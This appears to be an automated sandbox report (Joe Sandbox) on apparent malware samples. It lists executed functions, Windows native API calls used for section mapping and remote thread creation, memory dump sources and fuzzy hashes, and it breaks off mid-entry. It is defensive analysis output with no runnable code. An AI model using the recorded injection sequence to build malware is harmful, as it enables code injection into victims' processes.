Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000004.00000002.2368799109.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_teihrdr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction ID: 0621b20c29367ada74e4c9127c9a5516285bec5e68af8f441e6b7f153e3f788d
Opcode Fuzzy Hash: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction Fuzzy Hash: 11017CB560C204EAEB109AA49C61A7A3318AB44354F304537FA27790F5D67D9612E72F

Function 0069F657 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0069F6A8

Memory Dump Source

Source File: 00000004.00000002.2369233302.000000000068D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0068D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_68d000_teihrdr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 44117fd1a2281ae65e2229a245ddf47d73d2c7cc8919bd4ec7e385fb42167342
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 72113C79A00208EFDB01DF98C985E98BBF5AF08350F1580A5F9489B362D371EA50DF84

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000004.00000002.2368799109.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_teihrdr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction ID: ea6e3854d66af35421fcd7571e0742f45a6e64d38424a4e1b6315f5079e28d0a
Opcode Fuzzy Hash: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction Fuzzy Hash: 28F08CB6208204EADB00AEA49C61EBA3318AB44314F304533FB23790F5C67D8612E72F

Analysis Process: B9A0.exePID: 6768, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	42.5%
Signature Coverage:	0%
Total number of Nodes:	113
Total number of Limit Nodes:	4

Executed Functions

Function 004014C4 Relevance: 10.8, APIs: 7, Instructions: 277
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2644511802.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_B9A0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c516529a2ac13b86f5a9833a34ba141477503330a6309f7cab00fb21d89e914
Instruction ID: a2440897234d9063cbd2a71cb92c382042c3cd10596cdc4f18a7c269882a1901
Opcode Fuzzy Hash: 2c516529a2ac13b86f5a9833a34ba141477503330a6309f7cab00fb21d89e914
Instruction Fuzzy Hash: 0981D5B4504244FBDB208F95CC49FEB7BB8EF81740F20416BF902BA1E5D6749902DB66

Function 004015D5 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000007.00000002.2644511802.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_B9A0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7ee060c25f7402fbb52614a213f4e0533528eb01ea0636b15e5313f781570415
Instruction ID: 5b275a0397ac31cab10c66c3112b8ecfdbc4447489e22d1c2cba3eb21d005058
Opcode Fuzzy Hash: 7ee060c25f7402fbb52614a213f4e0533528eb01ea0636b15e5313f781570415
Instruction Fuzzy Hash: 8251F9B5900245BBEB208F91CC48FEF7BB8EF85710F10416AFA11BA2A5D7759941CB64

Function 004015DF Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000007.00000002.2644511802.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_B9A0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ece60b1a1f6b7668ef9dd9651a4bb7dd92a40417c9a174c89548745d0f41eda4
Instruction ID: aa7ad941c6157971e71dc2736092b98b642c15495c2c07021be349f0f8194e9f
Opcode Fuzzy Hash: ece60b1a1f6b7668ef9dd9651a4bb7dd92a40417c9a174c89548745d0f41eda4
Instruction Fuzzy Hash: 4D51FAB5900249BBEB208F91CC48FEF7BB8EF85710F10015AFA11BA2A5D7749945CB64

Function 004015F2 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000007.00000002.2644511802.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_B9A0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 5004b19ac8624500f5096878767cb1f7e044049cfcd571ee7eaf3f6ae6e17c7c
Instruction ID: 51677960ee3875d5e78d4b2c0b9a124aae989836c1cf5ff6a0c78d9f2f0b6c9a
Opcode Fuzzy Hash: 5004b19ac8624500f5096878767cb1f7e044049cfcd571ee7eaf3f6ae6e17c7c
Instruction Fuzzy Hash: 8E51FAB5900249BBEB208F91CC48FAFBBB8EF85710F10415AF911BA2A5D7759941CB64

Function 004015E6 Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000007.00000002.2644511802.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_B9A0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f3e491e8a03b641489fc3b5b9cce92a4ae92d047acba71485eea125912a2ab07
Instruction ID: 771dbcf6e2504e630b0d67c3c545d31db11f89db77175d6a648901ef483dfe93
Opcode Fuzzy Hash: f3e491e8a03b641489fc3b5b9cce92a4ae92d047acba71485eea125912a2ab07
Instruction Fuzzy Hash: 5451F9B5900249BFEB208F91CC48FEFBBB8EF85B10F100159F911BA2A5D7709945CB64

Function 00403043 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403177
NtTerminateProcess.NTDLL ref: 00403190

Memory Dump Source

Source File: 00000007.00000002.2644511802.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_B9A0.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 174b4c01c38e91558bfb09f2734ea8af57ab2b253068959c7a4b5a028629c542
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: 2D415A31218E084FD768EF5CA84976277D5FB98311F6A43BAE809D7385EA34DC1183C9

Function 01FA003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 01FA024D

Strings

cess, xrefs: 01FA018D
kernel32.dll, xrefs: 01FA008F, 01FA0095

Memory Dump Source

Source File: 00000007.00000002.2645014782.0000000001FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fa0000_B9A0.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 2986c96ea02455e376ab3f8f91fd8668def29363e1ec19eb6efd90f862458d90
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 835289B5A00229DFDB64CF58D984BACBBB1BF09304F5480D9E94DAB351DB35AA84CF14

Function 0059F525 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0059F54D
Module32First.KERNEL32(00000000,00000224), ref: 0059F56D

Memory Dump Source

Source File: 00000007.00000002.2644866394.000000000058D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0058D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_58d000_B9A0.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 681b68f97bd090ae54eb6c01a30e7cc873366baaf79681e30ede6b181e722a0f
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 28F0CD36600311ABDB202EB9A88DA6A7AECBF48320F100538E652D10C0DB70EC058B60

Function 01FA0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,01FA0223,?,?), ref: 01FA0E19
SetErrorMode.KERNELBASE(00000000,?,?,01FA0223,?,?), ref: 01FA0E1E

Memory Dump Source

Source File: 00000007.00000002.2645014782.0000000001FA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fa0000_B9A0.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: cb8a2fa6b6314028a024efa7a5c923e9ca64f27433e393fd74be4ccb9015de38
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 44D01231545128B7DB002A94DC09BCD7F1CDF09B62F408011FB0DD9080CB75954046E5

Function 00401991 Relevance: 1.3, APIs: 1, Instructions: 64
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000007.00000002.2644511802.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_B9A0.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d33cb06ca2e59f630b26b88e285b187a032fff555d198fadb91c317e02e733b4
Instruction ID: 467f6a5a6a8686429b8edb25725d085830e465699c84407eda40119e08959f9c
Opcode Fuzzy Hash: d33cb06ca2e59f630b26b88e285b187a032fff555d198fadb91c317e02e733b4
Instruction Fuzzy Hash: 8C1121B1709204EBD700AA849DA2EBB3258AB01744F300137B653B90F1D13DA913BBAF

Function 004019A9 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000007.00000002.2644511802.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_B9A0.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 9898664b938d16c2b1b4e01e78ced3648756847b2d56eb08e3b848ce02c96c48
Instruction ID: 4b76d244f62df5aef60288e90a8a0e9aa1e58495ecd570ece09185835f727098
Opcode Fuzzy Hash: 9898664b938d16c2b1b4e01e78ced3648756847b2d56eb08e3b848ce02c96c48
Instruction Fuzzy Hash: E801CCB1709204EBDB009A849DA2FBB3254AB45704F304177BA53B91F1C13EA513BBAF

Function 004019AF Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000007.00000002.2644511802.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_B9A0.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 30d86e508bd442fb29cd97d6ceaaa55f0d5a2af66fd42037641b9e80c01793f8
Instruction ID: a86496d5c410a92ffac719b016bd7af058b42942f4ddbef250fd57ab9bd781cb
Opcode Fuzzy Hash: 30d86e508bd442fb29cd97d6ceaaa55f0d5a2af66fd42037641b9e80c01793f8
Instruction Fuzzy Hash: BA01DE71309204EBDB00AA848C81BAB3264AB45300F204177F653790F1D23E9522AF5B

Function 004019B8 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000007.00000002.2644511802.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_B9A0.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c7b252bb0c0a7946a725b17b144dae5cf8c90d4b141733e10c6a991a9ec1216b
Instruction ID: 05dce09b803754dc438333d14fb16c9d77e26ddd6ef6fde50045693b00902851
Opcode Fuzzy Hash: c7b252bb0c0a7946a725b17b144dae5cf8c90d4b141733e10c6a991a9ec1216b
Instruction Fuzzy Hash: 67019E31309104EBEB009B949C82BAB3764AF46314F2445B7F652B91E1D63D9922AB5B

Function 0059F1E4 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0059F235

Memory Dump Source

Source File: 00000007.00000002.2644866394.000000000058D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0058D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_58d000_B9A0.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: b998c0787fde743c1faaa00c6b6383a1fde40c4b179baa501c1335e54fd56591
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: E7112B79A00208EFDB01DF98C985E99BFF5AF08351F1580A4F9489B362D371EA50DB80

Analysis Process: teihrdrPID: 1992, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	42.6%
Signature Coverage:	0%
Total number of Nodes:	122
Total number of Limit Nodes:	4

Executed Functions

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 201
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000008.00000002.2779673143.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_teihrdr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction ID: b77a8bcfde574781322ebaec397cd5e92af5eb717990e6e7793f83a32abcc97b
Opcode Fuzzy Hash: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction Fuzzy Hash: 24615E71900244FBEB209F95CC49FAF7BB8EF85700F20412AF912BA1E5D6749A01DB69

Function 004014FE Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000008.00000002.2779673143.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_teihrdr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction ID: 0ec8d6d4108695f7377ece7931361284e20275783593a2318d747dbe857377b0
Opcode Fuzzy Hash: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction Fuzzy Hash: 6A5129B5900209BFEB209F95CC48FEF7BB9EF85710F14412AF912BA2A5D6749901CB24

Function 00401542 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000008.00000002.2779673143.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_teihrdr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction ID: 759091ef041ca07c69b7a79068e02688b6544eb302bab9b440b0429bbb41aca5
Opcode Fuzzy Hash: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction Fuzzy Hash: E85119B1900249BFEB209F91CC48FAF7BB8EF85B10F144169F911BA2A5D6749941CB24

Function 00401549 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000008.00000002.2779673143.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_teihrdr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction ID: 7a8a064d68380c64131d995910f5c092f0e660b32494b1024d3e535184c76cf3
Opcode Fuzzy Hash: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction Fuzzy Hash: 78510875900249BFEF209F91CC48FAFBBB8FF86B10F144159F911AA2A5E6709940CB24

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000008.00000002.2779673143.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_teihrdr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction ID: 25abb30e6883f9026caabbb74ebb32c420b3dbd3b7f631cb87a4d5ab1caa8f11
Opcode Fuzzy Hash: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction Fuzzy Hash: C75118B5900209BFEF209F91CC48FAFBBB8FF85B10F144169F911BA2A5D6709940CB24

Function 00402F97 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030CB
NtTerminateProcess.NTDLL ref: 004030E4

Memory Dump Source

Source File: 00000008.00000002.2779673143.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_teihrdr.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 1591ba869369ea84e79847af2efd18b9bf5795e6c00b1d775a4c0b4e714efbc4
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: FD414531218E0C4FD7A8EF6CA88576277D5F798311F6643AAE809D3389EA74DC1183C5

Function 0070003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0070024D

Strings

cess, xrefs: 0070018D
kernel32.dll, xrefs: 0070008F, 00700095

Memory Dump Source

Source File: 00000008.00000002.2780540702.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Offset: 00700000, based on PE: false

Joe Sandbox IDA Plugin

